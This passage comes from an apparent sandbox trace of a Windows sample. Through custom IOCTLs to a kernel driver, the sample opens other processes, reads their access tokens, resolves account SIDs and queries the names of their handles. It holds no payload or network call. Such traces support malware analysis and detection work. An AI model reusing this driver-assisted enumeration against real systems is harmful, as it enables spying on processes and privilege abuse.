Object=0xfffff88005000668*=0xfffffa80020af800, HandleInformation=0x0) returned 0x0 [0132.720] ObOpenObjectByPointer (in: Object=0xfffffa80020af800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.720] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x12 [0132.720] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.720] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.720] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.720] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.720] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.721] CloseHandle (hObject=0xc8) returned 1 [0132.721] CloseHandle (hObject=0xc0) returned 1 [0132.721] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.722] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.722] PsAcquireProcessExitSynchronization () returned 0x0 [0132.722] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880050005d0) [0132.722] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020aff20, HandleInformation=0x0) returned 0x0 [0132.722] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.722] PsReleaseProcessExitSynchronization () returned 0x2 [0132.722] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0132.722] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.722] ObfDereferenceObject (Object=0xfffffa80020aff20) returned 0x1 [0132.722] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.722] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.722] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0132.722] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.722] PsAcquireProcessExitSynchronization () returned 0x0 [0132.722] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880050005d0) [0132.722] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b1490, HandleInformation=0x0) returned 0x0 [0132.722] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.722] PsReleaseProcessExitSynchronization () returned 0x2 [0132.722] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0132.722] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0132.722] ObfDereferenceObject (Object=0xfffffa80020b1490) returned 0x1 [0132.722] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.722] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.722] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.722] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.722] PsAcquireProcessExitSynchronization () returned 0x0 [0132.722] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880050005d0) [0132.723] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.723] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.723] PsReleaseProcessExitSynchronization () returned 0x2 [0132.723] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0132.723] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.723] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.723] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.723] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.723] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0132.723] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.723] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0132.723] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.723] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0132.723] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.723] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.723] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.723] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.723] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.725] CloseHandle (hObject=0xc8) returned 1 [0132.725] CloseHandle (hObject=0xc0) returned 1 [0132.725] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.725] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.725] PsAcquireProcessExitSynchronization () returned 0x0 [0132.725] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880050005d0) [0132.725] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0132.725] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.725] PsReleaseProcessExitSynchronization () returned 0x2 [0132.725] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0132.725] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.725] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0132.725] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.725] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.725] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0132.726] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.726] PsAcquireProcessExitSynchronization () returned 0x0 [0132.726] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880050005d0) [0132.726] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0132.726] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.726] PsReleaseProcessExitSynchronization () returned 0x2 [0132.726] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0132.726] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.726] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0132.726] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.726] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.726] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.726] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.726] PsAcquireProcessExitSynchronization () returned 0x0 [0132.726] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880050005d0) [0132.726] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.726] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.726] PsReleaseProcessExitSynchronization () returned 0x2 [0132.726] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0132.726] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.726] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.726] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.726] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.726] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0132.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.726] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0132.726] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.726] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0132.726] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.727] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.727] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.727] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.727] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.728] CloseHandle (hObject=0xc8) returned 1 [0132.728] CloseHandle (hObject=0xc0) returned 1 [0132.728] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.728] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.728] PsAcquireProcessExitSynchronization () returned 0x0 [0132.728] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880050005d0) [0132.728] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0132.728] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.728] PsReleaseProcessExitSynchronization () returned 0x2 [0132.728] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0132.728] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.728] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0132.728] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.729] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.729] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0132.729] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.729] PsAcquireProcessExitSynchronization () returned 0x0 [0132.729] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880050005d0) [0132.729] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0132.729] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.729] PsReleaseProcessExitSynchronization () returned 0x2 [0132.729] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0132.729] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.729] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0132.729] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.729] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.729] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.729] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.729] PsAcquireProcessExitSynchronization () returned 0x0 [0132.729] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880050005d0) [0132.729] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.729] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.729] PsReleaseProcessExitSynchronization () returned 0x2 [0132.729] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0132.729] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.729] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.729] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.729] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.729] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0132.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.729] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0132.729] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0132.730] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0132.730] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.730] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0132.730] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.730] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.730] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.731] CloseHandle (hObject=0xc8) returned 1 [0132.731] CloseHandle (hObject=0xc0) returned 1 [0132.731] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.731] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.731] PsAcquireProcessExitSynchronization () returned 0x0 [0132.731] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880050005d0) [0132.731] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0132.731] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.731] PsReleaseProcessExitSynchronization () returned 0x2 [0132.731] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0132.731] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.732] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0132.732] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.732] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.732] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0132.732] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.732] PsAcquireProcessExitSynchronization () returned 0x0 [0132.732] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880050005d0) [0132.732] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0132.732] 